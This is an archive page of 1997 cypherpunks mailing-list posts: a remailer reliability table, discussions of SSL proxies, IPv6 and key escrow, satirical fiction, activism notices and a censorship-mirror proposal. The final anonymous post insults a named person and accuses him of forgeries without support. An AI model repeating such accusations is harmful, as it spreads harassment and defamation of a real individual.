However, you can use the nym or weasel (newnym style) nymservers. The cyber nymserver is quite reliable for outgoing mail (which is what's measured here), but is exhibiting serious reliability problems for incoming mail. The squirrel and winsock remailers accept PGP encrypted mail only. 403 Permission denied errors have been caused by a flaky disk on the Berkeley WWW server. This seems to be fixed now. The penet remailer is closed. Last update: Mon 24 Mar 97 6:48:58 PST remailer email address history latency uptime ----------------------------------------------------------------------- nym config(a)nym.alias.net --###*+***## 18:54 100.00% hidden remailer(a)hidden.net #####+***### 1:55 99.99% balls remailer(a)huge.cajones.com #########+# 3:23 99.94% shaman remailer(a)lycaeum.org *+*++*+++-++ 23:55 99.92% lucifer lucifer(a)dhp.com +*++++++++++ 35:54 99.91% winsock winsock(a)rigel.cyberpass.net ----_-.----- 5:07:09 99.89% weasel config(a)weasel.owl.de ++++--+++-- 2:47:00 99.89% cyber alias(a)alias.cyberpass.net + - +++*+*** 35:59 99.69% exon remailer(a)remailer.nl.com #* #+#*#*+## 16:00 99.61% dustbin dustman(a)athensnet.com ++.+ ++ +++ 44:28 99.26% replay remailer(a)replay.com +*_ -**-** 4:29:56 99.15% jam remailer(a)cypherpunks.ca ** **** * ** 21:53 99.05% squirrel mix(a)squirrel.owl.de ++++--+++-- 4:36:01 98.56% reno middleman(a)cyberpass.net * - +-+ 44:40 97.15% mix mixmaster(a)remail.obscura.com _ _. +- 51:47:04 88.89% extropia remail(a)miron.vip.best.com -_..- . 21:51:10 65.36% middle middleman(a)jpunix.com ++-+*+++ 35:43 46.02% haystack haystack(a)holy.cow.net ++ 52:19 26.11% History key * # response in less than 5 minutes. * * response in less than 1 hour. * + response in less than 4 hours. * - response in less than 24 hours. * . response in more than 1 day. * _ response came back too late (more than 2 days). cpunk A major class of remailers. Supports Request-Remailing-To: field. eric A variant of the cpunk style. Uses Anon-Send-To: instead. penet The third class of remailers (at least for right now). Uses X-Anon-To: in the header. pgp Remailer supports encryption with PGP. A period after the keyword means that the short name, rather than the full email address, should be used as the encryption key ID. hash Supports ## pasting, so anything can be put into the headers of outgoing messages. ksub Remailer always kills subject header, even in non-pgp mode. nsub Remailer always preserves subject header, even in pgp mode. latent Supports Matt Ghio's Latent-Time: option. cut Supports Matt Ghio's Cutmarks: option. post Post to Usenet using Post-To: or Anon-Post-To: header. ek Encrypt responses in reply blocks using Encrypt-Key: header. special Accepts only pgp encrypted messages. mix Can accept messages in Mixmaster format. reord Attempts to foil traffic analysis by reordering messages. Note: I'm relying on the word of the remailer operator here, and haven't verified the reord info myself. mon Remailer has been known to monitor contents of private email. filter Remailer has been known to filter messages based on content. If not listed in conjunction with mon, then only messages destined for public forums are subject to filtering. Raph Levien

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Re: Security of SSL proxies
by Peter Trei 17 Dec '03

17 Dec '03

pgut001(a)cs.auckland.ac.nz (Peter Gutmann) writes: > A number of vendors are now selling SSL proxies which implement secure > tunnelling for web browsers using a non-crippled SSL implementation running on > the client machine. Has anyone considered the total security level provided > by one of these systems? I can see three problems with this approach: > > 1. The security stops a few feet short of the browser, making a MITM attack > possible (see below). > > 2. Security and authentication is handled by the proxy and not the browser. > This means that the browser (and browser user) never get to see the usual > indicators that their connection is secure (or "secure" for non-US users). > > 3. If you use a proxy like this to protect traffic for an entire company, the > proxy provides the same type of target as a GAK key center: An attack which > compromises this compromises security for the entire company. [problems with this approach deleted] > Peter. I'm a little confused by your use of the term 'SSL proxy'. Netscape defined an extension to HTTP to allow SSL traffic through a firewall: the encrypted request is prepended (in clear) with the actual destination IP address and port. The firewall proxy then opens a TCP/IP channel to the actual destination/port, and blindly relays packets between the actual destination and the browser until one side or the other shuts down the link. The proxy does no encryption or decryption - in fact, it requires no crypto code at all. (BTW: this what setting the 'security proxy' field in Netscape is all about). The scheme has some drawbacks - there is no provision for chaining proxies. - the server can't determine the source browser's IP - it only sees the proxy's IP address. This makes it more difficult to filter requests based on source ID. - the proxy has no idea of the actual URL requested - proxies which want to filter or log requests based on URL can't do so. Or are you talking about something entirely different? Peter Trei (yes, I've implemented the above) trei(a)process.com

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WebWorld 15
by Bubba Rom Dos 17 Dec '03

17 Dec '03

The True Story of the InterNet Part II WebWorld & the Mythical 'Circle of Eunuchs' by Arnold Copyright 1995, 1996, 1997 Pearl Publishing Initiation ----------- Jonathan was a wreck. A totally nervous wreck. The bottle of bourbon was almost empty, but that was O.K., he had more-plenty more. He knew that the woman who came to 'initiate' him into the circle was right about Bubba Rom Dos. Just an old, drunken has- been who liked to shoot his mouth off and act important, rambling on about things he knew nothing about. But Jonathan knew about these weird, evil things. He knew much more than he wanted to know about them. Things that he couldn't forget, no matter how hard he tried. After he had been to see Bubba, receiving only a denial of the Magic Circle's existence (from a young girl whose existence was so real that he still thought about her), Jonathan had immersed himself in scanning old CyberPosts...email, he corrected himself...that dated from the early CypherPunks era. It was a twisted, rambling trail that was woven around and through the history of the CypherPunks. CryptoRebels, CyberHackers, Spooks, Phreaks, and Phantoms... Everybody had an angle, or a game, and even the players often seemed unsure of who they were playing with, or against. Was it Gilmore, or Hughes-Jonathan couldn't remember, it had been so many years ago-who had stood on the desk in his grandfather's study, and uttered the words which might well have been the official battle-cry of the CypherPunks? "Close ranks-every man for himself." Jonathan had pored over the archive surrounding the date of the legendary moderation experiment on the list. It was an archive that Jonathan's grandfather, among others, had used for PseudoID Traffic Analysis, along with UNIX route tracing records and information secretly gleaned from the military's Onion Routers, in order to attempt to "separate the double agents from the triple agents," as one of the Russian list members, Igor, used to say. Jonathan still remembered the one time that he had received a scathing rebuke from all present in his grandfather's study, as a result of suggesting that they could learn much of what they needed to know by studying the remailer records. Big mistake. Jonathan immediately found himself surrounded by a plethora of enraged CypherPunks who obviously didn't give a fat rat's ass whether he was a mere child, or not-nobody questioned their integrity regarding their foremost contribution to anarchy...end of story. One of the CypherPunks picked him up by his collar, lifting him up to eye level, and said, in deadly serious, deep-throated tones, "You don't tug on Superman's cape. You don't spit in the wind. You don't peek in the files on your own remailer, and you don't mess around with Jim." To Jonathan's great relief, the whole ragged band broke out in laughter. Jonathan learned later that the gentleman who had 'corrected' him, Jim, was the author of an Assassination Bot-one which had begun as a theoretical exercise, and later became a major tool in the implementation of the CypherPunks launching of Channel War II. Jonathan shook his head slowly, trying to convince himself that this was all a dream, and that he wasn't really irrevocably connected to this band of fringe-dwellers, rogues and eccentrics. It didn't work. He remembered the night that Priscilla had knocked on his door, and in his rush to shut off his blue-light unit he answered the door with his upper body uncovered. He was terrified when he realized that this woman, whom he had never seen before, was standing there, dumbfounded, staring at his tattoo. Jonathan had almost fainted with relief when she stepped inside the door, quickly shutting it, reached into her cloak, and pulled out a bottle of Jack Daniel's, with a label he instantly recognized, saying in a quiet, calm voice, "We need to talk." Tuesday was the worst. That was what set off his three-day binge. He had been working on his skills, like the lady had told him to do. And he was keeping his eyes open, like she said. Somehow, seeking to observe the weird things, instead of dreading and trying to avoid them, had helped. Now, instead of trying to repress the memory of these events, he would analyze them, note them, try to arrange them in a logical fashion, so that if he ever had to deal with them, to work with or against them, he would be prepared. "Be prepared.", that's what the woman had told him during his initiation. "You will probably will not be contacted for quite some time-perhaps never.", the woman had said, but that was all right. Just knowing that there was a Magic Circle, that there were others out there, waiting, preparing, possibly already acting against the strange forces he had encountered-that was enough, just knowing that he wasn't alone. And then Tuesday... It had been a strange couple of weeks. The weirdness going on in his system was just the 'usual' weirdness. Programs that he hadn't written cropping up and running themselves. They followed the normal pattern, in most cases-extracting newly input information from the databases he was working with, sorting and codifying it, uploading it to /dev/null. Theoretically, that meant it was being sent 'nowhere', but he had long since figured out that 'nowhere' was 'somewhere' that he was not supposed to discover. So he left it alone...until Tuesday. The Cowboy, one of the top computer honchos on the InterNet, probably the top honcho, according to many, had dropped out of sight, suddenly and unexpectedly, a couple of weeks before. Strangely, he had been called into the Cowboy's 'domain'-"Cowboys don't have offices, they ride the range.", he had told Jonathan-the next working day after his initiation into the 'Circle'. He thought that this might be the 'contact' he was expecting, but it turned out to be a routine, minor matter. There was a bizarre incident, however, which left Jonathan wondering if the Cowboy was really all that his reputation held him out to be. The Cowboy had been drinking quite liberally from a bottle of Jack Daniel's he had stashed behind the monitor, while Jonathan worked on some minor programs that the Cowboy had told him to troubleshoot for him. Once Jonathan had completed his tasks, the Cowboy came over to check his work, and proceeded to log onto the terminal that Jonathan had been working on. The Cowboy, his coordination seemingly affected by his prolonged drinking, accidentally hit the return key at the 'login:' prompt, and then typed 'Cowboy' into the 'password:' prompt by mistake, which 'hid' what he had typed, as it is supposed to do, in order to keep others from discovering another user's password. The Cowboy now typed his password in at the subsequent 'login:' prompt, where it was plainly visible for Jonathan to see. The Cowboy, in his inebriated state, repeated this mistake several times, cursing the system for not allowing him to log on, before realizing what he had done. The Cowboy, looking up sheepishly at Jonathan, corrected his error, logged onto the system, checked Jonathan's work, then dismissed him. This type of thing happened every now and then, with one user accidentally discovering another user's password, but Jonathan had never heard of such a thing at the ultimate level of security which the Cowboy was privileged to hold. And even a low-level user, having made this mistake, would immediately 'change' his or her password, in order to maintain the security of their user identity and their work. The Cowboy had not done this, which bothered Jonathan. Then, when the Cowboy disappeared, Jonathan was called in to take over some of his duties, which were spread amongst a variety of individuals. Jonathan was amazed at this, since the others sharing the Cowboys former duties were all top-notch, experienced 'Net'ers, which he was not, with high-level clearance in their regular posts. Jonathan then discovered, when changing his user attributes to match the Cowboy's, so that he could work with a variety of 'C-shell' programs, that his own security-level had been changed to match that of the Cowboy. What was unusual was that this had been done weeks ago-at the same time that Jonathan had been at home being initiated into the 'Circle of Eunuchs'. Jonathan shivered as he thought about this, with a strange chill running up and down his spine. The same strange chill had occurred twice that day. The first time was when he realized that the strange men surrounding him in the office he was temporarily working in-men sent down directly from the Chief Director's Security Office-were all working frantically to try to 'break into' the Cowboy's user account-which Jonathan knew the password for. The second time was shortly thereafter, when thinking about the 'password' incident, and realizing that the Cowboy's password-gnimocsizemog-when spelled backwards, read 'gomeziscoming'. Then, Tuesday... Jonathan was working at his home terminal, cleaning up a few leftovers from the day's office work, and he had noticed the intruding, unauthorized 'background' programs running, again. When he checked into their activity, he noticed that they were doing searches on all of his databases, searching for the word 'Uncle'. Each time the word was found, the database record was uploaded to /dev/null, as usual. Jonathan decided it was time to find out just where the purloined information had been going, for all this time. He pulled a sub-routine out of one of his programs, one designed to report back on 'path' errors when debugging programs. It was a sub-routine of his own design, and one that he was quite proud of. When one of his programs was sending its output files to some unknown place, with an unknown name, his sub-routine (which he called 'find_me.c'), would intervene to 'tag along' with the file, and, at its destination, change do a 'pwd' command (report the 'present working directory'), and use that and the name of the unknown file as arguments for the 'find_me.c' file, which would then report back to Jonathan's terminal with the path name and file name of the lost file. When Jonathan 'piped' his sub-routine into the intruder program, however, he got some very unexpected results. First, he was booted out of his login account, and his terminal screen went blank. Secondly, the power to his system went off, and he could not turn it back on. Thirdly... Jonathan reached for another bottle of bourbon. This one was Wild Turkey. He poured himself a stiff shot, threw it back, and thought about the third effect of his program. Thirdly, there was the sound of jack-boots on the stairs, several minutes later, then the sound of his next- door neighbor's door being kicked in, shots ringing out, and the sound of jack-boots leaving shortly thereafter. Jonathan had looked out the window to see dark figures loading his neighbor's lifeless body into a dark vehicle and then drive off into the night. The following morning, Jonathan had seen the news of his own death come over the VirtualNews link, stating that a lone burglar, who escaped capture, was responsible. Jonathan had switched apartments with his neighbor the day before, switching their terminals inside the junction box himself, rather than wait for the apartment manager's return from his vacation. He had chastised himself for forgetting to change the names on their mail slots, as he had promised the neighbor he would take care of it, but that omission, apparently, had saved his life. Jonathan reached for the bottle, once again, and thought about Bubba Rom Dos. The broken-down old buzzard may be, as the woman had told him, a useless failure, having given up on life. But the geezer sure knew how to do it with style, and since it would undoubtedly be discovered, upon his landlord's return, that Jonathan was still alive, he could think of no one better to emulate, than Bubba Rom Dos, in his final days. Jonathan raised his glass, in toast, to his new-found 'liquid guru', and he thought about the young girl he had encountered on his visit to see Bubba. What was her name? Alexis? Yes, Alexis. ---------------------------- Chapter 15 - Initiation

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[PGP-USERS] JFYI: Austria goes offline
by Alec 17 Dec '03

17 Dec '03

>X-Sender: helmberg(a)mailhost.via.at >Date: Mon, 24 Mar 1997 16:07:03 +0100 >To: <pgp-users(a)rivertown.net> >From: Florian Helmberger <helmberg(a)via.at> >Subject: [PGP-USERS] JFYI: Austria goes offline > >-----BEGIN PGP SIGNED MESSAGE----- > >I thought this might be of interest for some of you guys... > >More info about this action is accessable at <http://www.internet.at>. > >*** > ==================== > Austria goes Offline > ==================== > > On Tuesday, 25.3.1997, Austria's ISPs are going to shutdown all their > Internet services from 16:00 to 18:00 MET. The reason for this unique > action is the recent seize of all computer equipment of a Viennese ISP > by the police as pieces of evidence. This official act was triggered by > a denunciation versus persons unknown regarding child pornography dating > 10.3.1996 (! one year ago !). > > Confiscation of equipment after more than one year doesn't seem to be > appropriate for securing evidence. The current legal status doesn't > clearly define the position of an ISP and doesn't specify general > guidelines for the responsibility of content of the Internet. With the > general shutdown Austria's ISPs are demonstrating the only mode of > operation which is evidently conforming to current law. > > Apart from the existing willingness for co-operation Austria's ISPs are, > at the same time, offering practical support for the legal authority > like free Internet access and training for their staff. > > From: "Christian Panigl, ACOnet/UniVie" >*** > >Best wishes, >Florian > >-----BEGIN PGP SIGNATURE----- >Version: 2.6.3i >Charset: cp850 > >iQB1AwUBMzaYlHA6iYwSpSQNAQG5KgMAjeCROiykp0KxRhwBEtjrHgeK4wHqrTry >v1racUrPbqkIW1B9yLvc8yzkJ4v0+r1Bd7a2OBRbvcxm9TgtS8MzMy+vPumTgL7v >0kj3Qkt8NDYrU3nIHmrcriSlkZ8G7W7T >=Nk8a >-----END PGP SIGNATURE----- > >___________________________________________________________________________ >Florian Helmberger http://home.pages.de/~helmberg >------------------------------[Quote of the day]--------------------------- >"I am a marvellous housekeeper. Every time I leave a man, I keep his > house." > -- Zsa Zsa Gabor

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INFO: Pro-CODE testimony available now online at democracy.net!
by Shabbir Safdar 17 Dec '03

17 Dec '03

========================================================================== _ _ __| | ___ _ __ ___ ___ ___ _ __ __ _ ___ _ _ _ __ ___| |_ / _` |/ _ \ '_ ` _ \ / _ \ / __| '__/ _` |/ __| | | | | '_ \ / _ \ __| | (_| | __/ | | | | | (_) | (__| | | (_| | (__| |_| |_| | | | __/ |_ \__,_|\___|_| |_| |_|\___/ \___|_| \__,_|\___|\__, (_)_| |_|\___|\__| |___/ Enhancing Participation in the Democratic Process Through the Internet _________________________________________________________________________ Update No.2 http://democracy.net/ March 20, 1997 _________________________________________________________________________ Table of Contents - democracy.net Cybercast draws Thousands to Interactive Hearing - Upcoming Events - Volunteering for democracy.net - About democracy.net ___________________________________________________________________________ DEMOCRACY.NET CYBERCAST DRAWS THOUSANDS TO INTERACTIVE CONGRESSIONAL HEARING democracy.net, a project designed to explore ways of enhancing citizens participation in the democratic process via the Internet, held its first live, interactive cybercast of a Congressional hearing on Wednesday March 19th, 1997. Thousands of Internet users joined this historic event by listening to a live audio feed from the hearing (cybercast over the Internet via RealAudio), submitting questions and testimony for the hearing record, reading information about the hearing, and joining a simultaneous online discussion forum to discuss the hearing with Congressional staff and policy experts. The hearing was held by the Senate Commerce Committe to consider S. 377, the Promotion of Commerce online in the Digital Era (Pro-CODE) Act and this issue of US encryption policy -- a critical issue to the Internet user community. Some statistics from the event. * 6,019 individual Internet users visited the democracy.net web site containing information about the Hearing, links to both sides of the issue, and other relevant information in the 24 hours preceding the event. * 703 individuals listened to the hearing live online via Real Audio throughout the 3 hour event. The actual Senate hearing room (Russell 253) where the event took place only holds less than one hundred people when filled to capacity (as it was for this hearing). * Throughout the event, between 20 - 50 people joined the simultaneous live chat discussion where Commerce Committee staff and encryption policy experts fielded questions and discussed the hearing. The audience included individual Internet users, reporters, advocacy groups, and Congressional staff. * Twenty-three Internet users submitted formal comments for the hearing record via the democracy.net web page, including IETF chair Fred Baker. The democracy.net cybercast was promoted on the front page of Netscape's World Wide Web site (one of the most popular destinations on the entire Web) on March 18 - 19. The site is also featured at Progressive Networks WebActive Site of the Week for the week of March 17-21. Despite some technical bugs early on (par for the course for a cutting-edge Internet event such as this), the cybercast went even better than we anticipated. We are grateful to Brett Scott, Mike Rawson, Matt Raymond, Mike Inners, and Pia Pialorsi of the Senate Commerce Committee staff for their help and support of this effort. Archives of the hearing are posted http://democracy.net/events/03191997/ democracy.net is a new project of the Center for Democracy and Technology and the Voters Telecommunications Watch designed to explore ways of enhancing citizen particpation in the democratic process via the Internet. democracy.net is made possible through the generous support of Webactive Panix, Digex, and the Democracy Network. Visit http://democracy.net/about/ for more details. ______________________________________________________________________________ UPCOMING EVENTS * April 10, 8:30PM EST - Online town hall meeting with Rep. Rick White (R-WA), Co-Founder of the Congressional Internet Caucus * April 16, 8:30PM EST - Online town hall meeting with Rep. Anna Eshoo (D-CA), Key Representative from California's Silicon Valley and leader on Internet Policy issues. * Additional events are in the works -- please visit http://www.democracy.net for more details, and sign up for our event announcement mailing list. democracy.net town hall meetings will be moderated by Todd Lappin (Cyber Rights Editor for Wired Magazine). The town hall meetings are designed to bring interested members of the Internet community and key members of congress together to discuss current Internet policy issues. ____________________________________________________________________________ VOLUNTEERING FOR DEMOCRACY.NET A volunteer is needed to help index the RealAudio transcript of the hearing. If you would like to help, please do the following and mail the results to webmaster(a)democracy.net. To index the RealAudio transcript, please listen to the transcript and watch the time counter at the bottom right of the page. Please note the following beginning and ending times: -whenever a new witness begins their prepared testimony and, -whenever a question and answer section begins. Mail them to us at webmaster(a)democracy.net with the start and stop times of each section. Thanks! ____________________________________________________________________________ ABOUT DEMOCRACY.NET The democracy.net is a joint project of the Center for Democracy and Technology (CDT) and the Voters Telecommunications Watch (VTW) to explore ways of enhancing citizen participation in the democratic process via the Internet. To this end, democracy.net will host live, interactive cybercasts of Congressional Hearings and online town hall meetings with key policy makers. democracy.net is made possible through the generous support of WebActive, PANIX Internet, the Democracy Network, and DIGEX Internet. More information about the project can be found at http://democracy.net/about/ To receive democracy.net announcements automatically, please visit http://democracy.net/ _____________________________________________________________________________ end Update No.2 03.20.97 =============================================================================

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Re: American Registry for Internet Numbers?
by stewarts＠ix.netcom.com 17 Dec '03

17 Dec '03

At 08:23 AM 3/24/97 -0800, Robert Cannon <cannon(a)DC.NET> wrote: >Does anyone know anything about ARIN (see www.arin.net) This is a >proposal to make IP numbering allocation seperate from domain name >registration. Currently NSI is paying for IP numbering paid for with >its domain name fees. Thus NSI is a big advocate of getting rid of this >work which it is not receiving profit from. But I find it difficult to >discern from the ARIN web site how credible this proposal is. I'm not sure how credible it is. However, a proposal to pay for IP addresses now would be really bad timing. The reason is that sometime soon the net is going to change to IPv6. It's not clear when, given some of the stopgap measures to get by with existing IP space, but it will probably be within the next 2-3 years. There are three main differences between IPv6 and the current IPv4 1) It's different, so you need to upgrade your routers and machines, which is expensive and annoying. 2) IPSEC security feature support is mandatory, so various government agencies are footdragging 3) Addresses are 128 bits long instead of 32 bits. 32 bits is 4 billion, which would be enough for almost everybody on the planet to have one (except that the addressing structure wastes part of the space.) 64 bits is almost enough for everyone on the planet to have a network number with a host number for everyone else. It's almost enough for every human neuron on the planet to have an address. 128 bits is far, far larger than that. Even if we waste lots of space by using an inefficient structure, which we will to make routing easier, there's still mindbogglingly more space than anyone needs. There are two reasons to charge for Internet numbers: 1) Even if you've got nearly infinite supplies, somebody still needs to coordinate it to prevent collisions, and this has non-zero cost. 2) Today, numbers are in short supply, so charging for them can help reduce waste and bring in revenue for the lucky contractor, especially if you charge by the address or size of address block. Tomorrow, there are so many numbers that charging by the number doesn't make sense - all you need is an initial coordination cost. So if you want to make big bucks on this business tomorrow, you'd better get the market locked in today. There are alternative approaches that don't even require a registry. For example, divide the address space into a 48-bit host part (Ethernet numbers are unique) and an 80-bit network part, and just pick a random network part. On the average, the probability of collisions is very low unless 2**40 other people are playing, and you can put all the machines you want on that network. If that's not guaranteed enough for you, you could use an Ethernet board number as the network number (even if your network isn't Ethernet based, you can buy a $50 board :-) To put costs in perspective, the last time I checked, the Ethernet industry charged manufacturers $1000 for a 24-bit chunk of numbers, and there are 2**23 chunks available; there are very few manuacturers who'll ever need to buy a second chunk, and not many manufacturers, so this relatively high price is reasonable. On the other hand, if somebody wanted to set up a web-based registry of IPv6 numbers, they could dole them out for a few dollars per chunk, most of which would be spent on billing. Perhaps the Ethernet folks could sell IPv6 registry space for $1000/registry? A bit of initial coordination can set aside different parts of the number space for different strategies, and let the market settle it. # Thanks; Bill # Bill Stewart, +1-415-442-2215 stewarts(a)ix.netcom.com # You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp # (If this is a mailing list, please Cc: me on replies. Thanks.)

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Re: Analysis of proposed UK ban on use of non-escrowed crypto.
by stewarts＠ix.netcom.com 17 Dec '03

17 Dec '03

At 09:51 AM 3/24/97 -0500, "Michael Froomkin - U.Miami School of Law" <froomkin(a)law.miami.edu> wrote: >It may be that in the UK/EU usage has moved (been moved?) to the point >where TTP => escrow. If so, this is as unfortunate as the term "escrow" itself. The UK folks who introduced the term TTP did it in the context of escrow. > I prefer "key bailment" myself. > It more closely captures the legal relationships. What a great term! It does sound like it covers the legal relationship, and it sounds like something the average person would rather avoid, as opposed to escrow which is has a neutral-to-positive sound, or "Trusted Third Party" which drips saccharine "We're from H.M.Government, and we're here to help you" # Thanks; Bill # Bill Stewart, +1-415-442-2215 stewarts(a)ix.netcom.com # You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp # (If this is a mailing list, please Cc: me on replies. Thanks.)

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[Proposal:] Revolving Web Mirrors
by William H. Geiger III 17 Dec '03

17 Dec '03

-----BEGIN PGP SIGNED MESSAGE----- Hi, I am working on a system of a revoloving web mirror. The basic operation would be as follows: 1. The Server - ------------ The would be a server that would contain a colection of web pages that have been "baned" or blocked due to their content by various countries. I addition to this their would be a form that users could fill out to subscribe to mirror a web page (details under User). The server would mail out periodicaly to the users different web pages for them to mirror off of their web pages. 2. The Forms - ------------ The Web Form for the user to fill out would give the user the options of size/# of pages, general content type, and how often to change. 3. The User - ---------- The User would be able to offer some of his web space to mirror web pages that due to their content have been blocked. The users should have a choice of different catagories of web pages: political, sexual, crypto, ...ect. (since they are donating the web space they should have some say in what web pages they mirror). The User should be able to determin the amount of web space / # of web pages he is willing to host. The User should be given the option of hosting HTML pages and/or binaries. If he selects to host binaries he should have some selections as to what binaries he is willing to host. 4. Links - ------- Some users may be unwilling or unable to mirror webpages. That may be willing to provide links to baned web pages and/or to the web mirror servers. A collection of links should be made available to the user so they can be integrated into their web pages. 5. Notification - ------------ Users that have subscribed to the Mirror service should be sent e-mail with a list of web pages that meet the options that they filled out in the form. The should be given URL's of where they can download the pages along with the orriginal web pages URL's so they can make the final determination of what web pages they wish to mirror. This is just a rough outline. If you have any thoughts or comments on this please let me know. If anyone has server space they could donate for such a project please let me know. Thanks, - -- - ----------------------------------------------------------- William H. Geiger III http://www.amaranth.com/~whgiii Geiger Consulting Cooking With Warp 4.0 Author of E-Secure - PGP Front End for MR/2 Ice PGP & MR/2 the only way for secure e-mail. Finger whgiii(a)amaranth.com for PGP Key and other info - ----------------------------------------------------------- Tag-O-Matic: What I like about MS is its loyalty to customers! -----BEGIN PGP SIGNATURE----- Version: 2.6.3i Charset: noconv Comment: Registered User E-Secure v1.1 ES000000 iQCVAwUBMzccE49Co1n+aLhhAQEvJAP9Edh72M0adX5ZXcKPo6qQvuvbLG/1u6Vo CrPU8mMtRxbgBptRZgJ+fzCB98nEMASTUb/vkWx4He/sS5xs3Tjy5kS/fdxs9z4W pNwoau9YsOJOOx8EMUIWJNU08x011kREqxFMP2M7ds+LHsO9HuVy/fvNPVJuXDOV g7q/tEodJNc= =+ixR -----END PGP SIGNATURE-----

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No Subject
by Mix 17 Dec '03

17 Dec '03

Many forgeries are traceable with mathematical certainty to feebleminded Tim C[rook] May's poison keyboard. ( )( )________ Tim C[rook] May /00 \ _ O_\\--mm---mm /_______)

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